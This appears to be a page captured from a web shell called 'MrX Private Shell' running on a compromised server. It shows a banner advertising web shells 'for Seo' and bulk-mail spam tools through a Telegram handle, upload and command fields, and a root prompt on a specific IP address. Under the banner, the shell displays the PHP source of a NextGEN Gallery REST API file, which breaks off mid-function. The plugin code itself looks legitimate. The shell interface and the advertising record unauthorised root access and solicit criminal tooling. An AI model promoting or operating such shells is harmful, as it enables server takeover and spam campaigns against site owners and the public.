__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

root@216.73.217.120: ~ $
<?php
/**
 * REST API endpoints for NextGEN Gallery images.
 *
 * @package Imagely\NGG\REST\DataMappers
 */

namespace Imagely\NGG\REST\DataMappers;

use WP_REST_Request;
use WP_REST_Response;
use WP_Error;
use Imagely\NGG\DataMappers\Gallery as GalleryMapper;
use Imagely\NGG\DataMappers\Image as ImageMapper;
use Imagely\NGG\DataTypes\Image;
use Imagely\NGG\Settings\GlobalSettings;
use Imagely\NGG\Util\Security;
use Imagely\NGG\Util\Transient;

/**
 * Class ImageREST
 * Handles REST API endpoints for NextGEN Gallery images.
 *
 * @package Imagely\NGG\REST\DataMappers
 */
class ImageREST {
	/**
	 * Register the REST API routes for images
	 */
	public static function register_routes() {
		register_rest_route(
			'imagely/v1',
			'/images',
			[
				'methods'             => 'GET',
				'callback'            => [ self::class, 'get_images' ],
				'permission_callback' => [ self::class, 'check_read_permission' ],
				'args'                => [
					'gallery_id' => [
						'type'              => 'integer',
						'sanitize_callback' => 'absint',
					],
					'per_page'   => [
						'type'              => 'integer',
						'default'           => 100,
						'sanitize_callback' => function ( $value ) {
							// Allow -1 for "all images", otherwise ensure minimum of 1
							$int_value = (int) $value;
							if ( $int_value < 0 ) {
								return -1; // Normalize to -1 for "all"
							}
							return max( 1, $int_value );
						},
					],
					'page'       => [
						'type'              => 'integer',
						'default'           => 1,
						'sanitize_callback' => 'absint',
					],
					'orderby'    => [
						'type'              => 'string',
						'enum'              => [ 'sortorder', 'pid', 'filename', 'imagedate' ],
						'default'           => 'sortorder',
						'sanitize_callback' => 'sanitize_text_field',
					],
					'order'      => [
						'type'              => 'string',
						'enum'              => [ 'ASC', 'DESC' ],
						'default'           => 'ASC',
						'sanitize_callback' => 'sanitize_text_field',
					],
				],
			]
		);

		// Get a single image.
		register_rest_route(
			'imagely/v1',
			'/images/(?P<id>\d+)',
			[
				'methods'             => 'GET',
				'callback'            => [ self::class, 'get_image' ],
				'permission_callback' => [ self::class, 'check_read_permission' ],
				'args'                => [
					'id' => [
						'required'          => true,
						'type'              => 'integer',
						'sanitize_callback' => 'absint',
					],
				],
			]
		);

		// Update an image.
		register_rest_route(
			'imagely/v1',
			'/images/(?P<id>\d+)',
			[
				'methods'             => 'PUT',
				'callback'            => [ self::class, 'update_image' ],
				'permission_callback' => [ self::class, 'check_image_edit_permission' ],
				'args'                => [
					'id'           => [
						'required'          => true,
						'type'              => 'integer',
						'sanitize_callback' => 'absint',
					],
					'alttext'      => [
						'type'              => 'string',
						'sanitize_callback' => 'sanitize_text_field',
					],
					'description'  => [
						'type'              => 'string',
						'sanitize_callback' => 'wp_kses_post',
					],
					'exclude'      => [
						'type' => 'boolean',
					],
					'image_slug'   => [
						'type'              => 'string',
						'sanitize_callback' => 'sanitize_title',
					],
					'sortorder'    => [
						'type'              => 'integer',
						'sanitize_callback' => 'absint',
					],
					'tags'         => [
						'type'              => 'string',
						'sanitize_callback' => 'sanitize_text_field',
					],
					'pricelist_id' => [
						'type'              => 'integer',
						'sanitize_callback' => function ( $value ) {
							// Allow -1 for "not for sale", 0 for "use gallery pricelist", positive integers for actual pricelists
							$int_value = (int) $value;
							return ( $int_value === -1 || $int_value >= 0 ) ? $int_value : 0;
						},
						'description'       => 'Pricelist ID for ecommerce functionality',
					],
				],
			]
		);

		// Delete an image.
		register_rest_route(
			'imagely/v1',
			'/images/(?P<id>\d+)',
			[
				'methods'             => 'DELETE',
				'callback'            => [ self::class, 'delete_image' ],
				'permission_callback' => [ self::class, 'check_delete_permission' ],
				'args'                => [
					'id' => [
						'required'          => true,
						'type'              => 'integer',
						'sanitize_callback' => 'absint',
					],
				],
			]
		);

		// Move an image to a new sortorder slot (cross-page or in-page).
		register_rest_route(
			'imagely/v1',
			'/images/(?P<id>\d+)/move',
			[
				'methods'             => 'POST',
				'callback'            => [ self::class, 'move_image' ],
				'permission_callback' => [ self::class, 'check_edit_permission' ],
				'args'                => [
					'id'          => [
						'required'          => true,
						'type'              => 'integer',
						'sanitize_callback' => 'absint',
					],
					'gallery_id'  => [
						'required'          => true,
						'type'              => 'integer',
						'sanitize_callback' => 'absint',
					],
					'after_pid'   => [
						'type'              => 'integer',
						'sanitize_callback' => 'absint',
					],
					'before_pid'  => [
						'type'              => 'integer',
						'sanitize_callback' => 'absint',
					],
					'target_page' => [
						'type'              => 'integer',
						'sanitize_callback' => 'absint',
					],
					'per_page'    => [
						'type'              => 'integer',
						'sanitize_callback' => 'absint',
					],
				],
			]
		);

		// Bulk update images.
		register_rest_route(
			'imagely/v1',
			'/images/bulk',
			[
				'methods'             => 'PUT',
				'callback'            => [ self::class, 'bulk_update_images' ],
				'permission_callback' => [ self::class, 'check_edit_permission' ],
				'args'                => [
					'images' => [
						'required' => true,
						'type'     => 'array',
						'items'    => [
							'type'       => 'object',
							'properties' => [
								'id'           => [
									'required' => true,
									'type'     => 'integer',
								],
								'alttext'      => [
									'type' => 'string',
								],
								'description'  => [
									'type' => 'string',
								],
								'exclude'      => [
									'type' => 'boolean',
								],
								'image_slug'   => [
									'type' => 'string',
								],
								'sortorder'    => [
									'type' => 'integer',
								],
								'tags'         => [
									'type' => 'string',
								],
								'pricelist_id' => [
									'type'        => 'integer',
									'description' => 'Pricelist ID for ecommerce functionality',
								],
							],
						],
					],
				],
			]
		);

		// Import images from the media library.
		register_rest_route(
			'imagely/v1',
			'/images/import-media-library',
			[
				'methods'             => 'POST',
				'callback'            => [ self::class, 'import_media_library' ],
				'permission_callback' => [ self::class, 'check_edit_permission' ],
				'args'                => [
					'gallery_id'     => [
						'type'              => 'integer',
						'required'          => false,
						'sanitize_callback' => 'absint',
					],
					'gallery_name'   => [
						'type'              => 'string',
						'required'          => false,
						'sanitize_callback' => 'sanitize_text_field',
					],
					'attachment_ids' => [
						'type'     => 'array',
						'items'    => [ 'type' => 'integer' ],
						'required' => true,
					],
				],
			]
		);

		// Upload an image to a gallery (single image or zip).
		register_rest_route(
			'imagely/v1',
			'/images/upload',
			[
				'methods'             => 'POST',
				'callback'            => [ self::class, 'upload_image' ],
				'permission_callback' => [ self::class, 'check_edit_permission' ],
				'args'                => [
					'gallery_id'   => [
						'type'              => 'integer',
						'required'          => false,
						'sanitize_callback' => 'absint',
					],
					'gallery_name' => [
						'type'              => 'string',
						'required'          => false,
						'sanitize_callback' => 'sanitize_text_field',
					],
				],
			]
		);

		// Browse a folder for import.
		register_rest_route(
			'imagely/v1',
			'/folders/browse',
			[
				'methods'             => 'GET',
				'callback'            => [ self::class, 'browse_folder' ],
				'permission_callback' => [ self::class, 'check_folder_import_permission' ],
				'args'                => [
					'dir' => [
						'type'              => 'string',
						'required'          => false,
						'sanitize_callback' => 'sanitize_text_field',
					],
				],
			]
		);

		// Import a folder as a gallery.
		register_rest_route(
			'imagely/v1',
			'/folders/import',
			[
				'methods'             => 'POST',
				'callback'            => [ self::class, 'import_folder' ],
				'permission_callback' => [ self::class, 'check_folder_import_permission' ],
				'args'                => [
					'folder'        => [
						'type'              => 'string',
						'required'          => true,
						'sanitize_callback' => 'sanitize_text_field',
					],
					'keep_location' => [
						'type'     => 'boolean',
						'required' => false,
					],
					'gallery_title' => [
						'type'              => 'string',
						'required'          => false,
						'sanitize_callback' => 'sanitize_text_field',
					],
				],
			]
		);
	}

	/**
	 * Check if user has permission to read images
	 *
	 * @return bool
	 */
	public static function check_read_permission() {
		return Security::is_allowed( 'NextGEN Gallery overview' );
	}

	/**
	 * Check if user has permission to edit images
	 *
	 * @param \WP_REST_Request|null $request Optional REST request — when supplied, per-gallery ownership is enforced.
	 * @return bool
	 */
	public static function check_edit_permission( $request = null ) {
		if ( ! Security::is_allowed( 'NextGEN Manage gallery' ) ) {
			return false;
		}

		if ( null === $request ) {
			return true;
		}

		// Upload/import routes: verify the user owns (or can manage) the target gallery.
		// Authorization is gallery-level: ownership of the destination, not the images.
		$gallery_id = (int) $request->get_param( 'gallery_id' );
		if ( $gallery_id > 0 ) {
			return self::current_user_can_manage_gallery( $gallery_id );
		}

		// Bulk endpoints have no single id; per-row ownership is enforced inside the handler.
		return true;
	}

	/**
	 * Check if user has permission to edit a specific image (single PUT).
	 * Resolves image_id from URL params only and verifies gallery ownership.
	 *
	 * @param WP_REST_Request $request The REST request object.
	 * @return bool|\WP_Error
	 */
	public static function check_image_edit_permission( WP_REST_Request $request ) {
		if ( ! Security::is_allowed( 'NextGEN Manage gallery' ) ) {
			return false;
		}

		$url_params = $request->get_url_params();
		$image_id   = isset( $url_params['id'] ) ? (int) $url_params['id'] : 0;
		if ( $image_id <= 0 ) {
			return false;
		}

		return self::current_user_can_manage_image( $image_id );
	}

	/**
	 * Folder browse/import: NextGEN Manage gallery, multisite wpmuImportFolder when applicable,
	 * and legacy nggGallery::current_user_can( 'NextGEN Import image folder' ) (cap may be unregistered → allowed).
	 *
	 * @return bool
	 */
	public static function check_folder_import_permission() {
		if ( ! self::check_edit_permission() ) {
			return false;
		}
		if ( is_multisite() && ! GlobalSettings::get_instance()->get( 'wpmuImportFolder', false ) ) {
			return false;
		}
		if ( class_exists( 'nggGallery', false ) ) {
			return \nggGallery::current_user_can( 'NextGEN Import image folder' );
		}
		// nggGallery should always be loaded; if it isn't, fall back to the
		// management-cap gate already passed above rather than denying on an
		// unregistered capability.
		return true;
	}

	/**
	 * Check if user has permission to delete images
	 *
	 * @param WP_REST_Request $request The REST request object.
	 * @return bool
	 */
	public static function check_delete_permission( WP_REST_Request $request ) {
		if ( ! Security::is_allowed( 'NextGEN Manage gallery' ) ) {
			return false;
		}

		$url_params = $request->get_url_params();
		$image_id   = isset( $url_params['id'] ) ? (int) $url_params['id'] : 0;
		if ( $image_id <= 0 ) {
			return false;
		}

		return self::current_user_can_manage_image( $image_id );
	}

	/**
	 * Check if the current user can manage the gallery that contains a given image.
	 * Users can manage an image if they own its gallery or have "NextGEN Manage others gallery".
	 *
	 * @param int $image_id The image ID.
	 * @return bool|\WP_Error
	 */
	public static function current_user_can_manage_image( int $image_id ) {
		$image = ImageMapper::get_instance()->find( $image_id );
		if ( ! $image ) {
			return new \WP_Error( 'rest_image_not_found', __( 'Image not found.', 'nggallery' ), [ 'status' => 404 ] );
		}

		$gallery = GalleryMapper::get_instance()->find( $image->galleryid );
		if ( ! $gallery ) {
			// Orphaned image: deny unless the user has explicit cross-gallery capability.
			return Security::is_allowed( 'NextGEN Manage others gallery' );
		}

		return ( (int) get_current_user_id() === (int) $gallery->author )
			|| Security::is_allowed( 'NextGEN Manage others gallery' );
	}

	/**
	 * Check if the current user can manage a specific gallery.
	 * Used to authorize upload/import operations targeting an existing gallery.
	 *
	 * @param int $gallery_id The gallery ID.
	 * @return bool
	 */
	public static function current_user_can_manage_gallery( int $gallery_id ) {
		$gallery = GalleryMapper::get_instance()->find( $gallery_id );
		if ( ! $gallery ) {
			return false;
		}

		return ( (int) get_current_user_id() === (int) $gallery->author )
			|| Security::is_allowed( 'NextGEN Manage others gallery' );
	}

	/**
	 * Resolve an image id to its parent gallery's author and verify the current user may edit it.
	 *
	 * Returns true when the user owns the parent gallery or holds 'NextGEN Manage others gallery'.
	 * Missing image returns true so the handler can emit a 404 instead of a 403.
	 *
	 * @param int $image_id NGG image id (pid).
	 * @return bool
	 */
	protected static function current_user_owns_image( $image_id ) {
		$image = ImageMapper::get_instance()->find( $image_id );
		if ( ! $image ) {
			return true;
		}

		$gallery_id = isset( $image->galleryid ) ? (int) $image->galleryid : 0;
		if ( $gallery_id <= 0 ) {
			return Security::is_allowed( 'NextGEN Manage others gallery' );
		}

		$gallery = GalleryMapper::get_instance()->find( $gallery_id );
		if ( ! $gallery ) {
			return Security::is_allowed( 'NextGEN Manage others gallery' );
		}

		if ( get_current_user_id() === (int) $gallery->author ) {
			return true;
		}

		return Security::is_allowed( 'NextGEN Manage others gallery' );
	}

	/**
	 * Get all images with optional filtering and pagination.
	 *
	 * @param WP_REST_Request $request The request object containing gallery_id, per_page, page, orderby, order parameters.
	 * @return WP_REST_Response
	 */
	public static function get_images( WP_REST_Request $request ) {
		global $wpdb;
		$gallery_id = $request->get_param( 'gallery_id' );

		// Get pagination parameters
		$per_page_param = (int) $request->get_param( 'per_page' );
		// Normalize all negative values to -1 (treated as "all") for consistency
		if ( $per_page_param < 0 ) {
			$per_page_param = -1;
		}
		// Handle -1 as "all" (WordPress standard for unlimited pagination)
		$per_page = ( -1 === $per_page_param ) ? PHP_INT_MAX : $per_page_param;
		$page     = max( 1, (int) $request->get_param( 'page' ) );
		$offset   = ( $page - 1 ) * $per_page;

		// Get ordering parameters
		$orderby = $request->get_param( 'orderby' ) ?? 'sortorder';
		$order   = strtoupper( $request->get_param( 'order' ) ?? 'ASC' );

		$mapper = ImageMapper::get_instance();
		$query  = $mapper->select();

		if ( $gallery_id ) {
			$query->where( [ 'galleryid = %d', $gallery_id ] );
		}

		// Calculate total items for pagination
		$count_query = $mapper->select();
		if ( $gallery_id ) {
			$count_query->where( [ 'galleryid = %d', $gallery_id ] );
		}
		$total_items = count( $count_query->run_query( false, false, true ) );

		// Add ordering and pagination. Append a deterministic pid tiebreaker so the
		// displayed order matches the order ensure_sequential_sortorders() renumbers in
		// (sortorder ASC, pid ASC). Without it, healing tied sortorders could reshuffle
		// rows relative to what the user saw, landing a drag-drop on the wrong side.
		$query->order_by( $orderby, $order );
		if ( 'pid' !== $orderby ) {
			$query->order_by( 'pid', 'ASC' );
		}
		if ( -1 !== $per_page_param ) {
			$query->limit( $per_page, $offset );
		}

		$images      = $query->run_query();
		$images_data = array_map( [ self::class, 'prepare_image_for_response' ], $images );

		$response = new WP_REST_Response( $images_data );

		// Add pagination headers
		if ( -1 !== $per_page_param ) {
			$total_pages = ceil( $total_items / $per_page );
			$response->header( 'X-WP-Total', $total_items );
			$response->header( 'X-WP-TotalPages', $total_pages );
		} else {
			// When returning all items, set total pages to 1
			$response->header( 'X-WP-Total', $total_items );
			$response->header( 'X-WP-TotalPages', 1 );
		}

		return $response;
	}

	/**
	 * Get a single image by ID.
	 *
	 * @param WP_REST_Request $request The request object containing the image ID.
	 * @return WP_REST_Response|WP_Error
	 */
	public static function get_image( WP_REST_Request $request ) {
		$image_id = $request->get_param( 'id' );
		$mapper   = ImageMapper::get_instance();
		$image    = $mapper->find( $image_id );

		if ( ! $image ) {
			return new WP_Error( 'not_found', __( 'Image not found', 'nggallery' ), [ 'status' => 404 ] );
		}

		return new WP_REST_Response( self::prepare_image_for_response( $image ) );
	}

	/**
	 * Update an image.
	 *
	 * @param WP_REST_Request $request The request object containing image data to update.
	 * @return WP_REST_Response|WP_Error
	 */
	public static function update_image( WP_REST_Request $request ) {
		$image_id = $request->get_param( 'id' );
		$mapper   = ImageMapper::get_instance();
		$image    = $mapper->find( $image_id );

		if ( ! $image ) {
			return new WP_Error( 'not_found', __( 'Image not found', 'nggallery' ), [ 'status' => 404 ] );
		}

		$fields = [ 'alttext', 'description', 'exclude', 'image_slug', 'sortorder', 'pricelist_id' ];
		foreach ( $fields as $field ) {
			if ( $request->has_param( $field ) ) {
				$value = $request->get_param( $field );
				if ( 'exclude' === $field ) {
					$value = $value ? 1 : 0;
				}
				$image->$field = $value;
			}
		}

		try {
			$mapper->save( $image );

			// Handle tags separately using WordPress taxonomy functions
			if ( $request->has_param( 'tags' ) ) {
				$tags = $request->get_param( 'tags' );
				if ( ! is_string( $tags ) ) {
					return new WP_Error( 'invalid_tags', __( 'Tags must be a string', 'nggallery' ), [ 'status' => 400 ] );
				}
				$tags = array_filter(
					array_map( 'trim', explode( ',', $tags ) ),
					function ( $tag ) {
						return ! empty( $tag );
					}
				);
				$tags = array_values( array_unique( $tags ) );
				wp_set_object_terms( $image->pid, $tags, 'ngg_tag' );
			}

			// Reload image from database to get fresh data
			$fresh_image = $mapper->find( $image_id );

			return new WP_REST_Response( self::prepare_image_for_response( $fresh_image ) );
		} catch ( \Exception $e ) {
			return new WP_Error( 'update_failed', $e->getMessage(), [ 'status' => 500 ] );
		}
	}

	/**
	 * Move an image to a new sortorder slot via a single range-shift.
	 *
	 * Accepts one of three target modes in the request body:
	 *   - after_pid: place the moved image immediately after another image.
	 *   - before_pid: place it immediately before another image.
	 *   - target_page (+ per_page): place it at the end of the given page,
	 *     clamped to the end of the gallery if the page is beyond the total.
	 *
	 * Executes at most two SQL statements: a range UPDATE that shifts every
	 * affected row's sortorder by ±1, then a single UPDATE that positions the
	 * moved row. Both rely on InnoDB row locks for concurrency safety.
	 *
	 * @param WP_REST_Request $request The request carrying the move parameters.
	 * @return WP_REST_Response|WP_Error
	 */
	public static function move_image( WP_REST_Request $request ) {
		global $wpdb;

		$pid        = (int) $request->get_param( 'id' );
		$gallery_id = (int) $request->get_param( 'gallery_id' );

		$mapper = ImageMapper::get_instance();
		$image  = $mapper->find( $pid );
		if ( ! $image || (int) $image->galleryid !== $gallery_id ) {
			return new WP_Error(
				'ngg_image_not_found',
				__( 'Image not found in this gallery', 'nggallery' ),
				[ 'status' => 404 ]
			);
		}

		$table = $mapper->get_table_name();

		// Heal galleries whose sortorders default to 0; only refetch when the heal actually ran.
		$healed = self::ensure_sequential_sortorders( $gallery_id, $table );
		if ( is_wp_error( $healed ) ) {
			return $healed;
		}
		if ( $healed ) {
			$mapper->flush_query_cache();
			Transient::flush( 'displayed_gallery_rendering' );

			$image = $mapper->find( $pid );
		}

		$current_sortorder = (int) $image->sortorder;
		$target_sortorder  = self::resolve_target_sortorder( $request, $gallery_id, $current_sortorder );
		if ( is_wp_error( $target_sortorder ) ) {
			return $target_sortorder;
		}

		if ( $target_sortorder === $current_sortorder ) {
			return new WP_REST_Response( self::prepare_image_for_response( $image ), 200 );
		}

		// Atomic: roll back the shift if the final positional update fails.
		// phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching
		if ( false === $wpdb->query( 'START TRANSACTION' ) ) {
			return new WP_Error(
				'ngg_move_failed',
				__( 'Failed to start transaction', 'nggallery' ),
				[ 'status' => 500 ]
			);
		}

		if ( $current_sortorder < $target_sortorder ) {
			// Forward move: pull rows in (S, N] down by 1 to close the gap left
			// by the moved row, then drop the moved row into N.
			// phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching, WordPress.DB.PreparedSQL.InterpolatedNotPrepared
			$shift_result = $wpdb->query(
				$wpdb->prepare(
					// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared
					"UPDATE {$table} SET sortorder = sortorder - 1 WHERE galleryid = %d AND sortorder > %d AND sortorder <= %d",
					$gallery_id,
					$current_sortorder,
					$target_sortorder
				)
			);
		} else {
			// Backward move: push rows in [N, S) up by 1, then drop the moved row into N.
			// phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching, WordPress.DB.PreparedSQL.InterpolatedNotPrepared
			$shift_result = $wpdb->query(
				$wpdb->prepare(
					// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared
					"UPDATE {$table} SET sortorder = sortorder + 1 WHERE galleryid = %d AND sortorder >= %d AND sortorder < %d",
					$gallery_id,
					$target_sortorder,
					$current_sortorder
				)
			);
		}

		if ( false === $shift_result ) {
			// phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching
			$wpdb->query( 'ROLLBACK' );
			return new WP_Error(
				'ngg_move_failed',
				__( 'Failed to reorder images', 'nggallery' ),
				[ 'status' => 500 ]
			);
		}

		// phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching
		$update_result = $wpdb->update( $table, [ 'sortorder' => $target_sortorder ], [ 'pid' => $pid ] );

		if ( false === $update_result ) {
			// phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching
			$wpdb->query( 'ROLLBACK' );
			return new WP_Error(
				'ngg_move_failed',
				__( 'Failed to reorder images', 'nggallery' ),
				[ 'status' => 500 ]
			);
		}

		// phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching
		if ( false === $wpdb->query( 'COMMIT' ) ) {
			// phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching
			$wpdb->query( 'ROLLBACK' );
			return new WP_Error(
				'ngg_move_failed',
				__( 'Failed to commit transaction', 'nggallery' ),
				[ 'status' => 500 ]
			);
		}

		$mapper->flush_query_cache();
		Transient::flush( 'displayed_gallery_rendering' );

		$fresh = $mapper->find( $pid );
		return new WP_REST_Response( self::prepare_image_for_response( $fresh ), 200 );
	}

	/**
	 * Resolve the target sortorder for a move based on which mode the request used.
	 *
	 * @param WP_REST_Request $request           The request carrying after_pid / before_pid / target_page.
	 * @param int             $gallery_id        ID of the gallery the move is scoped to.
	 * @param int             $current_sortorder Sortorder of the image being moved.
	 * @return int|WP_Error Target sortorder, or WP_Error on invalid input.
	 */
	private static function resolve_target_sortorder( WP_REST_Request $request, $gallery_id, $current_sortorder ) {
		global $wpdb;

		$mapper = ImageMapper::get_instance();
		$table  = $mapper->get_table_name();

		$after  = (int) $request->get_param( 'after_pid' );
		$before = (int) $request->get_param( 'before_pid' );
		$page   = (int) $request->get_param( 'target_page' );

		// Require exactly one target mode; reject ambiguous combinations.
		$mode_count = ( $after > 0 ? 1 : 0 ) + ( $before > 0 ? 1 : 0 ) + ( $page > 0 ? 1 : 0 );
		if ( $mode_count > 1 ) {
			return new WP_Error(
				'ngg_conflicting_target',
				__( 'Provide exactly one of after_pid, before_pid, or target_page', 'nggallery' ),
				[ 'status' => 400 ]
			);
		}

		if ( $after > 0 || $before > 0 ) {
			$reference_pid = $after > 0 ? $after : $before;
			// phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching, WordPress.DB.PreparedSQL.InterpolatedNotPrepared
			$row = $wpdb->get_row(
				$wpdb->prepare(
					// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared
					"SELECT sortorder FROM {$table} WHERE pid = %d AND galleryid = %d",
					$reference_pid,
					$gallery_id
				)
			);
			if ( ! $row ) {
				return new WP_Error(
					'ngg_reference_not_found',
					__( 'Reference image is not in this gallery', 'nggallery' ),
					[ 'status' => 400 ]
				);
			}
			$neighbor       = (int) $row->sortorder;
			$moving_forward = $current_sortorder < $neighbor;
			// The range-shift in move_image() vacates one neighboring slot, so the
			// target lands on the neighbor itself in the "shift-toward" direction
			// and on the next/prev slot in the "shift-away" direction.
			if ( $after > 0 ) {
				return $moving_forward ? $neighbor : $neighbor + 1;
			}
			return $moving_forward ? $neighbor - 1 : $neighbor;
		}

		if ( $page > 0 ) {
			$per_page = (int) $request->get_param( 'per_page' );
			if ( $per_page < 1 ) {
				$per_page = 50;
			}
			// phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching, WordPress.DB.PreparedSQL.InterpolatedNotPrepared
			$max_row = $wpdb->get_row(
				$wpdb->prepare(
					// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared
					"SELECT COALESCE(MAX(sortorder), 0) AS max_sort FROM {$table} WHERE galleryid = %d",
					$gallery_id
				)
			);
			$end_of_page    = $page * $per_page;
			$end_of_gallery = (int) $max_row->max_sort;
			return min( $end_of_page, $end_of_gallery );
		}

		return new WP_Error(
			'ngg_missing_target',
			__( 'Must provide after_pid, before_pid, or target_page', 'nggallery' ),
			[ 'status' => 400 ]
		);
	}

	/**
	 * Renumber a gallery's sortorders to 1..N when they are not unique.
	 *
	 * The range-shift in move_image() shifts a contiguous band of sortorder values
	 * by ±1, so its one hard requirement is that sortorders are UNIQUE — on ties the
	 * shift collapses two rows onto the same slot. Gaps and a non-1 start are harmless
	 * to the shift, so we deliberately do NOT renumber for those: doing so would rewrite
	 * the entire gallery on the first move after any delete (which leaves a gap) for no
	 * benefit. We only heal duplicates — e.g. freshly-uploaded images that all default
	 * to sortorder 0 — renumbering in display order (sortorder, then pid as tie-breaker).
	 *
	 * @param int    $gallery_id ID of the gallery to renumber.
	 * @param string $table      Fully-qualified images table name.
	 * @return bool|WP_Error True if renumbered, false if already unique, WP_Error on write failure.
	 */
	private static function ensure_sequential_sortorders( $gallery_id, $table ) {
		global $wpdb;

		// phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching, WordPress.DB.PreparedSQL.InterpolatedNotPrepared
		$stats = $wpdb->get_row(
			$wpdb->prepare(
				// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared
				"SELECT COUNT(*) AS cnt, COUNT(DISTINCT sortorder) AS distinct_cnt FROM {$table} WHERE galleryid = %d",
				$gallery_id
			)
		);
		if ( ! $stats ) {
			return false;
		}
		$cnt = (int) $stats->cnt;
		if ( $cnt === 0 ) {
			return false;
		}
		// Sortorders are already safe for the range-shift as long as they are unique.
		// Only a duplicate (distinct count below the row count) forces a renumber.
		if ( $cnt === (int) $stats->distinct_cnt ) {
			return false;
		}

		// Prefetch + per-row update: MySQL forbids ORDER BY on multi-table UPDATE,
		// and user-defined vars in UPDATE are deprecated in 8.0+.
		// phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching, WordPress.DB.PreparedSQL.InterpolatedNotPrepared
		$rows = $wpdb->get_results(
			$wpdb->prepare(
				// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared
				"SELECT pid FROM {$table} WHERE galleryid = %d ORDER BY sortorder ASC, pid ASC",
				$gallery_id
			)
		);
		if ( empty( $rows ) ) {
			return false;
		}

		// Wrap the per-row renumber in its own transaction: a mid-loop write failure
		// must not leave the gallery half-renumbered (a worse, possibly newly-duplicated
		// state). This is separate from the move's own transaction, which has not started
		// yet at the call site.
		// phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching
		$wpdb->query( 'START TRANSACTION' );

		$sortorder = 1;
		foreach ( $rows as $row ) {
			// phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching
			$update_result = $wpdb->update( $table, [ 'sortorder' => $sortorder ], [ 'pid' => (int) $row->pid ] );
			if ( false === $update_result ) {
				// phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching
				$wpdb->query( 'ROLLBACK' );
				return new WP_Error(
					'ngg_renumber_failed',
					__( 'Failed to renumber gallery sortorders', 'nggallery' ),
					[ 'status' => 500 ]
				);
			}
			++$sortorder;
		}

		// phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching
		$wpdb->query( 'COMMIT' );

		return true;
	}

	/**
	 * Delete an image.
	 *
	 * @param WP_REST_Request $request The request object containing the image ID to delete.
	 * @return WP_REST_Response|WP_Error
	 */
	public static function delete_image( WP_REST_Request $request ) {
		global $wpdb;
		$image_id = $request->get_param( 'id' );
		$mapper   = ImageMapper::get_instance();
		$image    = $mapper->find( $image_id );

		if ( ! $image ) {
			return new WP_Error( 'not_found', __( 'Image not found', 'nggallery' ), [ 'status' => 404 ] );
		}

		// Get the gallery ID before deletion
		$gallery_id = $image->galleryid;

		try {
			// Fire the action hook for other plugins to respond to image deletion
			// This must be called BEFORE any deletion so that listening plugins can access the database record
			do_action( 'ngg_delete_picture', $image_id, $image );

			// Check if we should delete image files from filesystem
			$settings = \Imagely\NGG\Settings\Settings::get_instance();
			$storage  = \Imagely\NGG\DataStorage\Manager::get_instance();

			if ( $settings->get( 'deleteImg' ) ) {
				// Delete image files from filesystem and database
				$delete_success = $storage->delete_image( $image );
				if ( ! $delete_success ) {
					return new WP_Error(
						'delete_files_failed',
						__( 'Could not delete image file(s) from disk', 'nggallery' ),
						[ 'status' => 500 ]
					);
				}
			} else {
				// Only remove from database, keep files on disk
				$mapper->destroy( $image );
			}

			// Check if the deleted image was the gallery's preview image
			// phpcs:ignore WordPress.DB.DirectDatabaseQuery.NoCaching, WordPress.DB.DirectDatabaseQuery.DirectQuery
			$gallery_preview = $wpdb->get_var(
				$wpdb->prepare(
					"SELECT previewpic FROM {$wpdb->nggallery} WHERE gid = %d AND previewpic = %d",
					$gallery_id,
					$image_id
				)
			);

			// If this was the preview image, update the gallery to use the first available image
			if ( $gallery_preview ) {
				// phpcs:ignore WordPress.DB.DirectDatabaseQuery.NoCaching, WordPress.DB.DirectDatabaseQuery.DirectQuery
				$first_image_id = $wpdb->get_var(
					$wpdb->prepare(
